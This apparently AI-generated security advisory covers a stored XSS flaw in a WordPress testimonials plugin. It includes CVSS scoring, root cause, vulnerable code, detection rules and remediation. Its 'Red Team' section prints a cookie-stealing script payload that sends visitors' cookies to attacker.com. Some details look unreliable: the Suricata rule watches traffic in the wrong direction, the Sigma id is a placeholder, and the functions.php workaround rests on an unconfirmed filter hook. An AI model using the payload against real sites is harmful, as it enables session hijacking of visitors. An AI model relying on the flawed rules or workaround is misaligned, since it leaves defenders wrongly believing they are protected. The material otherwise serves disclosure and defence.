CVE-2025-67912

Executive Summary

CVE-2025-67912 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premio Stars Testimonials WordPress plugin (versions <= 3.3.4). This flaw allows an authenticated attacker with elevated privileges (e.g., Editor or Admin) to inject arbitrary JavaScript into testimonial submissions. When other users or visitors view the affected testimonial, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking its checksum against the official repository. No known malicious packages have been identified in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have an account with testimonial submission privileges (e.g., Editor or Admin).
• User Interaction (UI): Required – The victim must view the malicious testimonial.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited data modification.
• Availability (A): Low – Limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to significant downstream attacks.

Deep Dive & Mechanics

The vulnerability resides in the stars-testimonials-with-slider-and-masonry-grid plugin. The plugin fails to properly sanitize user-supplied input in the testimonial content field before storing it in the database. When the testimonial is rendered on the front-end, the unsanitized input is injected into the HTML page, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses echo or print to output testimonial data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). This allows an attacker to inject HTML tags and JavaScript event handlers.

Attack Flow:

1. An attacker with Editor-level access navigates to the testimonial submission form.
2. The attacker enters a malicious payload in the testimonial content field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without sanitization.
4. When a site visitor views the testimonial (e.g., on a slider or grid), the payload executes in their browser.

Impact: Stored XSS can lead to:

• Session cookie theft
• Redirection to malicious sites
• Defacement of the site
• Phishing attacks against other users

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.3.4):

// In a template file or shortcode handler
echo '<div class="testimonial-content">' . $testimonial['content'] . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="testimonial-content">' . esc_html( $testimonial['content'] ) . '</div>';

The patched version would use esc_html() to neutralize any HTML or JavaScript before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with the Stars Testimonials plugin (<= 3.3.4) active.
• An account with at least Editor privileges.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the testimonial submission page (e.g., /wp-admin/admin.php?page=stars-testimonials).
3. In the testimonial content field, inject a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the testimonial.
5. Wait for a site visitor or admin to view the testimonial on the front-end.
6. The victim’s browser executes the script, sending their cookies to the attacker’s server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual testimonial submissions containing <script>, <iframe>, or onerror attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress user roles and restrict testimonial submission to trusted users only.

Hunting:

• Query the WordPress database for testimonial posts containing suspicious HTML:

  SELECT * FROM wp_posts WHERE post_type = 'testimonial' AND post_content LIKE '%<script>%';
  

• Check server logs for requests to /wp-admin/admin-ajax.php with suspicious payloads.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown domains from the WordPress server.
  • HTTP requests containing <script> tags in POST data to testimonial endpoints.
• Host:
  • Unexpected JavaScript files in the wp-content/uploads/ directory.
  • Modified WordPress core files (e.g., wp-config.php with eval() calls).
• Database:
  • Testimonial posts containing HTML/JavaScript in the post_content field.
  • Suspicious user accounts with elevated privileges created after the attack.

Detection Engineering

YARA Rule

rule CVE_2025_67912_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Stars Testimonials plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67912"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-67912 Stored XSS in Stars Testimonials
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Stars Testimonials plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=stars_testimonials_submit'
        cs-uri-query|contains|re: '(<script|<iframe|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in testimonials (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67912 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=stars_testimonials_submit"; http_client_body; pcre:"/(<script|<iframe|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict testimonial submission to trusted users only (e.g., Administrators).
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should update to the latest version once available.

Workaround:

• Add a custom function to the theme’s functions.php to sanitize testimonial content before display:

  add_filter( 'stars_testimonials_output', 'esc_html' );
  

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.